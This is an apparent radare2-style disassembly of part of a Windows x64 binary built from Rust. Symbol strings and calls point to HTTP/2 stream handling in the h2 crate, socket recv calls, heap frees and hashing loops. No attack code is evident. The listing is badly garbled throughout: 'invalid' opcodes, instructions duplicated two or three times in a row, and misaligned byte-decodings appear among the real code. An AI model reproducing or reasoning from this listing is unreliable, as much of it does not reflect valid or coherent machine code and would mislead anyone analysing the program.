cmp dword [r15 + 0x114], r13d
cmp dword [rdi + 0x114], ebp
cmp dword [rdi + 0x114], ebp
jne 0x1400727e9
mov r14, r8
mov rsi, rcx
movzx eax, byte [r15 + 0x50]
lea ecx, [rax - 6]
movzx r8d, cl
rol dword [rcx - 0x80], 0xf8
invalid
mov r10d, 6
invalid
add byte [rax], al
add byte [rbp + 0xf], al
invalid
invalid
cmp r10b, 4
ja case.0x140071cca.1
movzx edi, word [r14 + 0xf8]
mov esi, 0xf8
movzx r8d, byte [r14 + 0x114]
mov dh, 0x86
adc al, 1
add byte [rax], al
movzx r11d, r10b
mov dh, 0xda
lea r10, [0x140208dc8]
movsxd r11, dword [r10 + r11*4]
add r11, r10
jmp r11
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r9
mov r11b, 1
test r8b, 1
jne 0x140071da4
add edi, 0xffffff38
cmp di, 0xff9c
setb r10b
mov dil, 9
mov bh, 9
mov bh, 9
xor r9d, r9d
jmp 0x140071de8
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r9
test r8b, 1
jne 0x140071dac
add edi, 0xffffff9c
cmp di, 0x64
setae dil
add dil, dil
or dil, 8
mov r9b, 1
mov r11b, 1
jmp 0x140071de8
cmp byte [r15 + 0x52], 0
jne case.0x140071cca.1
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r9
movzx r9d, byte [r15 + 0x51]
test r8b, 1
jne 0x140071dda
add edi, 0xffffff38
cmp di, 0xff9c
setb r10b
mov dil, 9
xor r11d, r11d
jmp 0x140071de8
cmp byte [r15 + 0x51], 0
je 0x140071db4
xorps xmm0, xmm0
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi], 4
mov word [rsi + 8], 0x101
mov dword [rsi + 0xc], 1
lea rax, [0x1401d3af8]
mov qword [rsi + 0x10], rax
lea rax, [0x140204680]
mov qword [rsi + 0x18], rax
jmp 0x140072374
mov dil, 0xb
xor r9d, r9d
jmp 0x140071de8
mov r11b, 1
mov dil, 3
jmp 0x140071de8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r9
test r8b, 1
jne 0x140071de2
add edi, 0xffffff38
cmp di, 0xff9c
setb r9b
mov dil, 0xa
xor r11d, r11d
jmp 0x140071de8
mov dil, 0xb
xor r11d, r11d
jmp 0x140071de8
mov dil, 3
xor r11d, r11d
cmp cl, 6
jb 0x140071e69
lea ecx, [rax - 3]
cmp cl, 2
ja 0x140071dfa
cmp cl, 1
jne 0x140071e69
movzx eax, al
test rax, rax
je 0x140071e69
cmp eax, 1
jne 0x140071e2b
lea rcx, [r15 + 0x70]
mov rax, qword [r15 + 0x58]
mov rdx, qword [r15 + 0x60]
mov r8, qword [r15 + 0x68]
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x24], r9d
mov byte [rsp + 0x23], r10b
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140071e59
mov r8, qword [r15 + 0x58]
test r8, r8
je 0x140071e69
cmp qword [r15 + 0x60], 0
je 0x140071e69
mov rcx, qword [0x140215360]
xor edx, edx
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x24], r9d
mov byte [rsp + 0x23], r10b
call qword [sym.imp.KERNEL32.dll_HeapFree]
movzx r10d, byte [rsp + 0x23]
mov r9d, dword [rsp + 0x24]
mov r11d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x5e0]
mov byte [r15 + 0x50], dil
mov byte [r15 + 0x51], r9b
mov byte [r15 + 0x52], r10b
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [r15 + 0x53], xmm0
movups xmmword [r15 + 0x63], xmm1
mov rax, qword [rsp + 0x5d]
mov qword [r15 + 0x70], rax
test r11b, r11b
mov rdi, qword [rsp + 0x30]
je 0x140071f5e
mov eax, dword [r14 + 0x110]
cmp eax, dword [rdi + 0x94]
jbe 0x140071ebd
mov dword [rdi + 0x94], eax
mov rax, qword [rdx + 0x18]
cmp qword [rdx + 0x10], rax
jbe 0x140072847
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x14007277b
mov rcx, qword [rbp]
test rcx, rcx
je 0x14007277b
cmp dword [rcx + r12], 2
je 0x14007277b
add rcx, r12
cmp dword [rcx + 0x114], r13d
jne 0x14007277b
cmp byte [rcx + 0x120], 0
jne 0x140072861
inc rax
mov qword [rdx + 0x18], rax
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
mov rax, qword [rbp]
test rax, rax
je 0x1400727e1
cmp dword [rax + r12], 2
je 0x1400727e1
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x1400727e1
mov byte [rax + 0x120], 1
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x14007277b
mov rax, qword [rbp]
test rax, rax
je 0x14007277b
cmp dword [rax + r12], 2
je 0x14007277b
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x14007277b
cmp dword [rax + 0x30], 1
je 0x140072134
mov qword [rsp + 0x28], rbx
mov rbx, rsi
mov rsi, r12
mov r12, rbp
mov ebp, r13d
mov r13, rdi
mov edi, r11d
movups xmm0, xmmword [0x1401d8ae8]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1401d8ad8]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.1400728a0
mov r15, rax
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140072004
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
call qword [rax + reloc.WS2_32.dll_recv]
test r15, r15
mov r11d, edi
mov rdi, r13
mov r13d, ebp
mov rbp, r12
mov r12, rsi
mov rsi, rbx
mov rbx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x5e0]
je 0x140072134
mov rcx, qword [r15 + 0x10]
cmp rcx, 0x13
jbe 0x140072099
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x14007277b
mov rax, qword [rbp]
test rax, rax
je 0x14007277b
cmp dword [rax + r12], 2
je 0x14007277b
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x14007277b
mov eax, dword [rax + 0x114]
mov qword [rsi], 4
mov word [rsi + 8], 0x100
mov dword [rsi + 0xc], eax
mov dword [rsi + 0x10], 1
jmp 0x140072374
test rcx, rcx
je 0x1400720dd
mov rdx, qword [r15 + 8]
xor r8d, r8d
xor eax, eax
nop word [rax + rax]
movzx r9d, byte [rdx + r8]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x140072036
lea rax, [rax + rax*4]
add r9b, 0xd0
movzx r9d, r9b
lea rax, [r9 + rax*2]
inc r8
cmp rcx, r8
jne 0x1400720b0
jmp 0x1400720df
xor eax, eax
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
mov rdx, qword [rsp + 0x5e0]
jbe 0x1400727e1
mov rcx, qword [rbp]
test rcx, rcx
je 0x1400727e1
cmp dword [rcx + r12], 2
je 0x1400727e1
add rcx, r12
cmp dword [rcx + 0x114], r13d
jne 0x1400727e1
mov qword [rcx + 0x30], 2
mov qword [rcx + 0x38], rax
cmp byte [r14 + 0x100], 0
je 0x140072227
cmp byte [rdx + 0x40], 0
setne al
test r11b, al
je 0x14007236d
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x14007277b
mov rax, qword [rbp]
test rax, rax
je 0x14007277b
cmp dword [rax + r12], 2
je 0x14007277b
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x14007277b
mov eax, dword [rax + 0x114]
mov word [rsi + 0x58], 0
mov qword [rsi + 0x18], 2
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x28], 8
xorps xmm0, xmm0
movups xmmword [rsi + 0x30], xmm0
mov qword [rsi + 0x40], 8
mov qword [rsi], 0
movups xmmword [rsi + 0x48], xmm0
mov byte [rsi + 0x60], 0xb
mov qword [rsi + 0x78], 0
mov qword [rsi + 0x98], 0
mov qword [rsi + 0xb8], 0
mov qword [rsi + 0xd8], 0
mov word [rsi + 0xf8], 0x1af
mov byte [rsi + 0x100], 0
mov byte [rsi + 0x10d], 2
mov dword [rsi + 0x110], eax
mov byte [rsi + 0x114], 5
jmp 0x140072374
mov eax, dword [r14 + 0x110]
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x40]
mov r8d, 0x118
mov qword [rsp + 0x30], rdi
mov rdi, rdx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0xa0]
lea r15, [rsp + 0x230]
mov r8d, 0xa0
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x428]
mov r8d, 0xa0
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0x3a0], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x390], xmm3
movaps xmmword [rsp + 0x380], xmm2
movaps xmmword [rsp + 0x370], xmm1
movaps xmmword [rsp + 0x360], xmm0
cmp qword [rsp + 0x4a0], 0
movzx r15d, byte [rdi + 0x40]
mov rdi, qword [rsp + 0x30]
je 0x1400722f1
test r15b, r15b
je 0x1400722f1
cmp byte [rdi + 0x9d], 0
je 0x14007230b
movzx eax, word [rsp + 0x4c0]
test ax, ax
je 0x14007239d
test r15b, r15b
je 0x14007239d
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x14007277b
mov rax, qword [rbp]
test rax, rax
je 0x14007277b
cmp dword [rax + r12], 2
je 0x14007277b
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x14007277b
add rax, 0x114
mov eax, dword [rax]
mov qword [rsi], 4
mov word [rsi + 8], 0x100
mov dword [rsi + 0xc], eax
mov dword [rsi + 0x10], 1
jmp 0x1400723ad
mov qword [rsi], 3
mov rcx, r14
call fcn.14006a760
add r14, 0x60
mov rcx, r14
call fcn.14006a850
nop
add rsp, 0x578
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add eax, 0xffffff9c
cmp ax, 0x64
jae 0x1400723c4
mov qword [rsi], 5
lea rcx, [rsp + 0x360]
call fcn.14006a760
lea rcx, [rsp + 0x428]
jmp 0x140072383
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x428]
mov r8d, 0xa0
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [r14 + 0x50]
movaps xmmword [rsp + 0x410], xmm0
movups xmm0, xmmword [r14 + 0x40]
movaps xmmword [rsp + 0x400], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movaps xmmword [rsp + 0x3f0], xmm3
movaps xmmword [rsp + 0x3e0], xmm2
movaps xmmword [rsp + 0x3d0], xmm1
movaps xmmword [rsp + 0x3c0], xmm0
mov r14, rdi
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x190]
lea r8, [rsp + 0x3c0]
test r15b, r15b
je 0x14007247b
mov r9d, dword [rsp + 0x28]
call fcn.140072c10
mov rdi, qword [rsp + 0x40]
cmp rdi, 3
je 0x14007248c
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x230]
mov r8d, 0xd8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140072523
mov r9d, dword [rsp + 0x28]
call fcn.140072a90
cmp dword [rsp + 0x40], 3
jne 0x1400724ba
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x250], rax
movups xmm0, xmmword [rsp + 0x48]
movups xmm1, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x240], xmm1
movaps xmmword [rsp + 0x230], xmm0
mov edi, 4
jmp 0x140072523
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x290], xmm0
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x280], xmm0
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x260], xmm3
movaps xmmword [rsp + 0x250], xmm2
movaps xmmword [rsp + 0x240], xmm1
movaps xmmword [rsp + 0x230], xmm0
mov edi, 3
movaps xmm0, xmmword [rsp + 0x230]
movaps xmm1, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm1
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x180], rax
cmp edi, 4
jne 0x140072588
mov rax, qword [rsp + 0x180]
mov qword [rsi + 0x28], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], 4
jmp 0x140072388
mov byte [rsp + 0x24], r15b
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x4c8]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x330], xmm0
movaps xmmword [rsp + 0x340], xmm1
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x350], rax
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x1400727e1
mov r15, qword [rbp]
test r15, r15
je 0x1400727e1
cmp dword [r15 + r12], 2
je 0x1400727e1
add r15, r12
cmp dword [r15 + 0x114], r13d
jne 0x1400727e1
lea rax, [r14 + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x330]
movaps xmm1, xmmword [rsp + 0x340]
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x58], xmm0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x4c8]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x50], rdi
mov rdi, r14
mov qword [rsp + 0x40], 0
mov r14, qword [r14 + 0x40]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
mov rdx, r14
call fcn.140073dd0
cmp qword [r15 + 0x18], 0
je 0x1400726db
mov rcx, qword [r15 + 0x28]
cmp qword [rdi + 0x30], rcx
mov rdi, qword [rsp + 0x38]
jbe 0x14007287b
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x20]
test rax, rax
je 0x14007287b
imul rcx, rcx, 0xf0
add rax, rcx
cmp dword [rax], 2
je 0x14007287b
add r15, 0x28
mov qword [rax], 1
mov qword [rax + 8], r14
jmp 0x1400726f0
mov qword [r15 + 0x18], 1
mov qword [r15 + 0x20], r14
add r15, 0x28
mov rdi, qword [rsp + 0x38]
mov qword [r15], r14
mov dword [rsp + 0x190], ebx
mov dword [rsp + 0x194], r13d
cmp qword [rbp + 0x10], rbx
jbe 0x1400727e1
mov rax, qword [rbp]
test rax, rax
je 0x1400727e1
cmp dword [rax + r12], 2
je 0x1400727e1
add rax, r12
cmp dword [rax + 0x114], r13d
jne 0x1400727e1
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
movzx ebx, byte [rsp + 0x24]
je 0x14007275a
call qword [rdx + ioctlsocket]
test bl, bl
je 0x14007276f
mov rcx, qword [rsp + 0x30]
add rcx, 0x64
mov rdx, rdi
call fcn.140073e90
mov qword [rsi], 5
jmp 0x140072388
lea rax, [rsp + 0x194]
mov qword [rsp + 0x230], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x238], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x230]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rax, [rsp + 0x194]
mov qword [rsp + 0x230], rax
lea rax, [0x14006a5f0]
mov qword [rsp + 0x238], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x230]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rcx, str.assertion_failed:_self.can_inc_num_recv_streams__
lea r8, [0x1401a8050]
mov edx, 0x31
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:__stream.is_countedC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streamscounts.rs
lea r8, [0x1401a8000]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, [0x1401d579c]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.21_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140161560
ud2
mov rax, qword [rsp + 0x60]
mov r9, qword [rsp + 0x80]
shl r9, 0x38
or r9, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x58]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov r12, rdx
shr r12, 0x20
xor r12, rdx
xor r12, rax
mov r10, rdi
mov r8d, ebp
movzx eax, byte [rbx + rsi]
movzx eax, byte [rax + r11]
mov byte [rsp + 0x30], al
mov r8d, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov rcx, r12
mov rdx, r13
call fcn.140006000
lea r11, [0x1401d563b]
sbb eax, 0x15f456
sbb eax, 0x15f456
inc rsi
cmp r14, rsi
jne 0x1400761c0
jmp 0x140075e97
add byte [rax], al
add byte [rcx + rcx*4 - 0x29], cl
mov rdi, r10
mov rdi, r10
mov rdx, r14
and rdx, 3
je 0x1400762db
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x48], cl
mov bl, 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
movabs r8, 0x100000001b3
mov rcx, rbx
mov r9, r12
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
invalid
add byte [rdi + rcx - 0x4a], al
adc dword [rdi + 0xf], eax
movzx esp, byte [rdx + rbx]
xor r12, r9
movzx r10d, byte [rcx]
movzx r12d, byte [r10 + r11]
movzx esp, byte [rdx + rbx]
movzx esp, byte [rdx + rbx]
xor r12, r9
imul r12, r8
inc rcx
loopne 0x140076279
inc ecx
mov r9, r12
dec rdx
loope 0x14007627f
dec edx
jne 0x140076220
jmp fcn.1400762de
sahf
add byte [rax], al
add byte [rbp + 0x31], al
imul cl
std
invalid
movzx r8d, byte [rdx]
xor r8, r12
imul r8, rcx
movzx r9d, byte [rdx + 1]
xor r9, r8
imul r9, rcx
movzx r8d, byte [rdx + 2]
xor r8, r9
mov dh, 0x42
add cl, byte [rbp + 0x31]
enter 0xf4c, 0xffffffffffffffaf
rol dword [rdi + rcx - 0x4a], 0x4a
add ecx, dword [rbp + 0x31]
ror dword [rdi + rcx - 0x51], 0xc9
imul r8, rcx
movzx r9d, byte [rdx + 3]
xor r9, r8
imul r9, rcx
movzx r8d, byte [rdx + 4]
xor r8, r9
imul r8, rcx
movzx r9d, byte [rdx + 5]
xor r9, r8
imul r9, rcx
movzx r8d, byte [rdx + 6]
xor r8, r9
imul r8, rcx
movzx r12d, byte [rdx + 7]
add rdx, 8
xor r12, r8
imul r12, rcx
cmp rdx, rax
jne 0x140076260
mov r8b, 1
jmp fcn.140075f91
sar esp, 0xff
invalid
sar esp, 0xff
inc dword [rbp + 0x31]
test byte [rbp + 0x31], 0xc0
invalid
shr cl, 0xb6
cld
invalid
jmp fcn.140075f91
mov rcx, rbx
mov ecx, ebx
cmp esi, 4
jae 0x1400762ef
xor r8d, r8d
xor eax, eax
mov r10, rdi
jmp fcn.140075f91
cld
invalid
invalid
cld
invalid
movabs rdx, 0x100000001b3
mov r10, rdi
nop dword [rax]
movzx r8d, byte [rcx]
movzx r8d, byte [r8 + r11]
xor r8, r12
imul r8, rdx
movzx r9d, byte [rcx + 1]
movzx r9d, byte [r9 + r11]
xor r9, r8
imul r9, rdx
movzx r8d, byte [rcx + 2]
movzx r8d, byte [r8 + r11]
xor r8, r9
imul r8, rdx
movzx r9d, byte [rcx + 3]
mov dh, 0x49
invalid
mov dh, 0x49
add eax, dword [rdi + 0xf]
movzx r12d, byte [r9 + r11]
xor r12, r8
xor esp, eax
movzx r12d, byte [r9 + r11]
xor r12, r8
xor esp, eax
xor esp, eax
imul r12, rdx
add rcx, 4
add ecx, 4
add ecx, 4
xor r8d, r8d
cmp rcx, rax
jne 0x140076300
jmp fcn.140075f91
shr al, cl
push 0xffffffffffffffab
stosd dword [rdi], eax
stosd dword [rdi], eax
invalid
int3
mov edi, dword [rdx + 8]
jl case.0x14007695a.364
and byte [rbp + rcx*4 + 0x5c], cl
and al, 0x24
invalid
and al, 0x44
mov dword [rsp + 0x24], esp
add byte [rbp + 0x69], cl
div dword [rax]
add dword [rax], eax
add byte [rdx - 0x7d], al
cmp dword [rax + rsi], 2
je 0x140076613
cmp dword [rax + rsi], 2
add al, byte [rax]
add byte [rcx + rax - 0x10], cl
xor byte [rdx], al
test byte [rax + rax + 0x14c0000], ah
invalid
add eax, esi
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
invalid
and al, 0x50
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x131cf9
sbb al, 0x13
invalid
sbb al, 0x13
add byte [rax - 0x73], cl
and al, 0x40
add byte [rdx + 0x2c], bh
add byte [rax], al
add al, ch
in eax, dx
cmpsb byte [rsi], byte [rdi]
invalid
in al, dx
invalid
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
shl dword [rsi + 0xb0f000e], cl
ud2
int3
cmp edx, 5
ja 0x14007691b
lea eax, [rdx - 3]
cmp al, 3
movzx r8d, al
mov eax, 1
cmovb eax, r8d
cmp al, 2
je 0x14007691e
movzx eax, al
cmp eax, 1
jne 0x14007691b
test rdx, rdx
je 0x140076913
mov al, 1
cmp edx, 1
jne 0x140076920
cmp byte [rcx + 1], 2
setb al
ret
xor eax, eax
ret
mov al, 1
ret
and ecx, dword [rdi]
mov dh, 0xd2
invalid
ror byte [rbp + rcx*4 + 5], cl
mov dword [rcx + rbx], esp
sbb dword [rax], eax
movsxd rdx, dword [r8 + rdx*4]
lea r8, [0x140208ddc]
sbb dword [rax], eax
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
add edx, eax
jmp rdx
mov al, 1
ret
cmp byte [rcx + 2], 0
jmp 0x140076969
cmp byte [rcx + 1], 0
sete al
ret
add dword [rax], eax
add byte [rax], al
mov rcx, r14
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + 0x29], bpl
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x28], 2
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x20], rax
movzx eax, byte [rsp + 0x28]
movzx ecx, byte [rsp + 0x29]
movzx edx, word [rsp + 0x2a]
mov r8d, dword [rsp + 0x2c]
mov r9, qword [rsp + 0x30]
mov r10, qword [rsp + 0x38]
mov qword [rsi + 0x10], r10
mov r10, qword [rsp + 0x40]
mov qword [rsi + 0x18], r10
mov byte [rsi], al
mov byte [rsi + 1], cl
mov word [rsi + 2], dx
mov dword [rsi + 4], r8d
mov qword [rsi + 8], r9
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
sub rsp, 0x5d8
movaps xmmword [rsp + 0x5c0], xmm8
movaps xmmword [rsp + 0x5c0], xmm0
movaps xmmword [rsp + 0x5c0], xmm0
add eax, 0x290f0000
mov esp, 0x5b024
add byte [rdi], cl
sub dword [rsp + 0x5a0], esi
movaps xmmword [rsp + 0x5b0], xmm7
movaps xmmword [rsp + 0x5a0], xmm6
mov r13, r8
mov qword [rsp + 0x410], rcx
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
and al, 0x48
and al, 0x48
mov qword [rsp + 0x58], 1
lea rsi, [rdx + 0x60]
mov rdi, qword [rdx + 0x28]
mov r15, qword [rdx + 0x30]
lea rbx, [rdx + 0x40]
imul r12, qword [rdx + 0x38], 0x68
cmp byte [rax + 0x48], ch
cmp dword [rdx + 0x20], 0
cmp byte [rax + 0x48], ch
cmp dword [rdx + 0x20], 0
je 0x140078360
adc ecx, dword [rbx + rcx*4 + 0x42]
sbb byte [rax - 0x75], cl
mov rcx, qword [0x140215360]
mov r8, qword [rdx + 0x18]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x500]
mov r8d, 0xa0
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x4e0], xmm0
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x448], 2
mov qword [rsp + 0x468], 0
mov rax, qword [r13]
mov rbx, qword [r13 + 8]
mov rsi, qword [r13 + 0x10]
mov qword [r13], 2
test rax, rax
je 0x14007847b
cmp rax, 1
jne case.0x14006bacd.377
lea r14, [r13 + 0x18]
mov rcx, r14
mov rdx, rbx
call fcn.14007bb00
mov rcx, r14
mov rdx, rsi
call fcn.14007bb00
cmp rbx, 0x1f
jae 0x1400784c9
or bl, 0x20
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007841b
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], bl
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
mov qword [rsp + 0x48], rax
cmp rsi, 0x1f
jae 0x1400785dd
or sil, 0x20
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007846d
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], sil
jmp 0x140078787
lea rcx, [r13 + 0x18]
mov rdx, rbx
call fcn.14007bb00
cmp rbx, 0x1f
jae 0x1400786a0
or bl, 0x20
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne case.0x140069261.395
lea rcx, [rsp + 0x40]
mov edx, 1
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], bl
jmp 0x140078787
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x1400784f1
lea rcx, [rsp + 0x40]
mov edx, 1
add byte [rax], al
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0x90], rax
cmp rax, rcx
ja 0x14007b7c5
mov rbp, r13
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x48], rax
cmp rbx, 0x80
